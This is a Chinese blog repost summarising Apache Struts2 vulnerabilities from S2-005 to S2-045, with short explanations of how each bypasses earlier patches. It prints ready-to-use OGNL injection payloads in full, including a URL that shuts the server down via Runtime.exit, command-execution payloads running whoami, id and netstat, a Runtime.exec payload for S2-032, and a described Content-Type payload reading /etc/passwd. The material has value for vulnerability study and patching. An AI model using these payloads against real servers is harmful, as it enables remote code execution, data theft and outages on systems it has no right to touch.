java struts2 漏洞_Struts2漏洞简述

java struts2 漏洞_Struts2漏洞简述S2-005漏洞S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。Payload如下:http://www.xxxx.com/aaa.action…

大家好,又见面了,我是你们的朋友全栈君。

S2-005漏洞

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。

S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

Payload如下:

http://www.xxxx.com/aaa.action?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:

(1)?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true

(2)&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))

(3)&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个”(meh)”呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。

第二步将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

S2-009漏洞

Struts2对s2-003的修复是禁止的#,因此s2-005正在使用该代码\u0023或\43绕过禁止; 然后禁止s2-005的修复\和其他阻止用户提交反斜杠的特殊符号。

但是,如果example在当前操作中接受参数,则此参数将发送到OGNL表达式。因此,我们可以将OGNL表达式代码放在example参数中然后执行它/helloword.acton?example=&(example)(‘xxx’)=1,然后绕过特殊字符的防御,例如#,\。

S2-013漏洞

漏洞触发:

由于官方没有发补丁,所以最新版本的struts2还是有漏洞的,可以下载最新:Apache Struts 2.3.14 GA的示例应用。

经过简单测试,就看到了想要的结果。

根据官方给的信息,问题出在a标签,所以写个jsp页面,内容如下:

| 1 | Click here. |

这个是struts2标签库的a标签,该标签会在页面上显示当前URL,当includeParams=all时,就会显示具体参数内容。

唯一需要解的迷,就是如何让参数内容作为OGNL表示试执行,但是这个迷未免太好猜了,我随手测试就出结果。

访问url:

就可以直接弹计算器,POC代码大家都有的,我只截个图:

75d3896c9b5f

image.png

S2-016漏洞

分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如:

http://www.foo.com/bar/hello.action?user!add

foo!bar这种形式是动态的调用action中的方法,其中foo是action,bar是方法名,但是调用的前提是在struts.xml中事先进行配置。

当然这只是一种,这个类还有个重要的作用就是处理redirect、redirectAction、method、action

Payload:

127.0.0.1:8080/struts_hello/hello?redirect:

${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’).getWriter(),%23screen.println(%23d),%23screen.close()}

S2-019漏洞

POC:

?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

从url编码转化回来为:

?debug=command&expression=#a=(new java.lang.ProcessBuilder(‘id’)).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

S2-020漏洞

绕过方式是:

http://localhost:8080/Struts2/test.action?class[“classLoader”][“resources”][“dirContext”][“docBase”]=xxxxx

补充:

1、高版本号须要用单引號’:

class[‘classLoader’][‘resources’][‘dirContext’][‘docBase’]

2、请勿任意尝试,漏洞利用代码会让对方站点挂掉

S2-032漏洞

此次漏洞存在于struts2的动态方法引用功能。只要在struts2配置文件中开启该功能,就可能被利用。

75d3896c9b5f

image.png

在配置了 Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public 的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI 的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。所以只要找到目标应用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可。

比如这样的ognl 表达式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通过反射调用(关于java的反射调用可以参考之前的一篇文章Link)Runtime类的exec方法进行命令执行,这里是打开计算器的操作。

S2-037漏洞

S2-037的漏洞利用思路建立在s2-033的基础只上,还是对method没有进行过滤导致的,漏洞影响Struts 2.3.20 – Struts 2.3.28.1版本,使用到REST插件的Struts2应用,会被攻击者实现远程代码执行攻击,struts2 历次的漏洞公告和详情官方都有专门的页面进行整理和汇总,可以从这个页面找到历次的struts2的漏洞。

2 struts2 s2-037漏洞详情分析

此次的s2-037是基于033的一个绕过,在033中,需要开启动态方法执行,也就是032的条件,同时还需要安装rest插件。而037中,不需要开启动态方法执行就能触发代码执行漏洞。

首先看看033触发过程

开启动态方法执行需要在struts.xml中配置,这和032没区别

75d3896c9b5f

image.png

在getMapping方法中,在处理动态代码执行过程中设置的属性没有做过滤

75d3896c9b5f

image.png

因为在uri中的!后面的属性加入到了mapping中,然后如果开启了动态代码执行,也就是allowDynamicMethodCalls开启,最后method会进入到com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,之后的就是跟032一样了,可以参考之前的我们分析struts2漏洞的文章。

接下来看看037怎么绕过开启动态方法,通杀所有rest插件的。

75d3896c9b5f

image.png

在调用完handleDynamicMethodInvocation(mapping, mapping.getName());后面又调用了

同时看到这里没有判断

所以这个地方不需要开启动态执行,同时也在这里给出了提示

75d3896c9b5f

image.png

这里加上了三目运算符才绕过测试结果如下:

75d3896c9b5f

image.png

可以看到成功执行了system命令。

Poc:

75d3896c9b5f

image.png

S2-045漏洞

漏洞分析

Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码通过http报文头部的Content-Type字段传递给存在漏洞的服务器,导致任意代码执行漏洞。

漏洞POC

75d3896c9b5f

image.png

漏洞验证

75d3896c9b5f

image.png

细节分析

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

从官方的漏洞描述我们可以知道,这个漏洞是由于Strus2对错误消息处理出现了问题,通过Content-Type这个header头,注入OGNL语言,进而执行命令。

本文的分析是基于Struts 2.3.24版本。首先看一下POC,攻击指令通过”Content-Type”传递给存在漏洞的服务器,如下图所示:

75d3896c9b5f

image.png

在传入的参数中,通过#nike=’multipart/form-data’语句使得后台判断语句content_type.contains(“multipart/form-data”)判断结果为true,以便攻击代码得以传入。同时将攻击代码’cat /etc/passwd’赋值给#cmd参数。接下来通过(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})来判断目标主机的操作系统类型,并选择性的进行指令赋值,最终,通过如下图代码,将攻击指令执行:

75d3896c9b5f

image.png

下面先看一下命令执行注入点:

75d3896c9b5f

image.png

在JakartaMultiPartRequest.java 的buildErrorMessage函数中,这个函数里的localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行,我们先看下findtext的定义:

https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html

75d3896c9b5f

image.png

接下来它被JakartaMultiPartRequest.java中的parse调用。Struts2的入口FilterDispatcher.java接下来执行doFilter函数,执行完一些过滤后进入prepareDispatcherAndWrapRequest函数,再执行dispatcher.wrapRequest进入request处理分支,下图就是prepareDispatcherAndWrapRequest的实现,该函数对方法进行了处理:

75d3896c9b5f

image.png

接着我们看dispatcher.wrapRequest,当Content-Type为multipart/form-data的时候会调用MultiPartRequestWrapper,这个是一个对各种不同上传方式的封装,其中就包含Jakarta等传输方式:

75d3896c9b5f

image.png

MultiPartRequestWrapper.java封装了parse函数:

75d3896c9b5f

image.png

我们来看下parse函数,如下图所示:

75d3896c9b5f

image

在parse函数中,当Content-Type格式不被识别时,出现异常,导致OGNL表达式被执行,这就是我们分析的最初的注入点。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161674.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • fbx文件导入3dmax_3d中z轴的值没办法输入

    fbx文件导入3dmax_3d中z轴的值没办法输入本文通过参考网上资源做的一个例子。本程序的功能就是通过xna将3d图像显示到winfrom对他进行旋转操作。首先我们先准备好两个文件夹model文件夹放fbx文件,textures放渲染文件,操作步骤都是添加现有项,准备好资源文件后,先检查下是否有以下引用下面将定义Ga…

    2022年10月9日
    2
  • 历史上最著名计算机病毒,似乎都成了我们的回忆[通俗易懂]

    点击上方“涛哥聊Python”,选择“星标”公众号重磅干货,第一时间送达来源:太原锦华计算机学校Windows勒索病毒似乎让全球计算机用户都闻风丧胆,不过这其实真的不算什么。然而令人始…

    2022年4月14日
    41
  • easyui textbox 绑定oninput事件

    easyui textbox 绑定oninput事件需求:想要在一个input框输入的同时,另一个输入框的值实时变化!但是easyui只提供了onchange事件,只有当第一个输入框的光标移开时才会触发事件,不能达到实时变化的效果。于是开始各种百度,寻求easyuitextbox绑定事件的方法,但是无奈各种尝试都以失败告终!但是机智的我突然灵光一闪,心生一计,瞬间药到病除,问题迎刃而解!闲言少叙,方案走你!方案:通过easyui

    2022年5月20日
    144
  • 单调栈总结_进栈和出栈的算法思想

    单调栈总结_进栈和出栈的算法思想单调栈总结目录定义性质功能例题HDU1506HDU5033PKU2796PKU3250定义性质下面引自百度百科单调递增或单调减的栈,跟单调队列差不多,但是只用到它的一端,利用它可以用来解决一些ACM/ICPC和OI的题目,如RQNOJ的诺诺的队列等。单调栈是一种特殊的栈,特殊之处在于栈内的元素都保持一个单调性。假设下图是一个栈内元素的排列情况(单调递增的

    2022年9月22日
    2
  • Anchorpoint_insert_tid_for_question_process

    Anchorpoint_insert_tid_for_question_process引言相信初接触到CALayer的人都会遇到以下几个问题: 为什么修改anchorPoint会移动layer的位置?CALayer的position点是哪一点呢?anchorPoint与position有什么关系?我也迷惑过,找过网上的教程,大部分都是复制粘贴的,有些是翻译的文章但很有问题,看得似懂非懂,还是自己写代码彻底弄懂了,做点笔记吧。每一个UIView内部都默认关联着一个CALa…

    2022年10月8日
    3
  • 什么是是JAVA构造函数

    什么是是JAVA构造函数每创建一个类的实例都去初始化它的所有变量是乏味的。如果一个对象在被创建时就完成了所有的初始工作,将是简单的和简洁的。因此,Java在类里提供了一个特殊的成员函数,叫做构造函数(Constructor)。一个构造函数是对象被创建时初始对象的成员函数。它具有和它所在的类完全一样的名字。一旦定义好一个构造函数,创建对象时就会自动调用它。构造函数没有返回类型,即使是void类型也没有。这是因为…

    2022年7月8日
    23

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号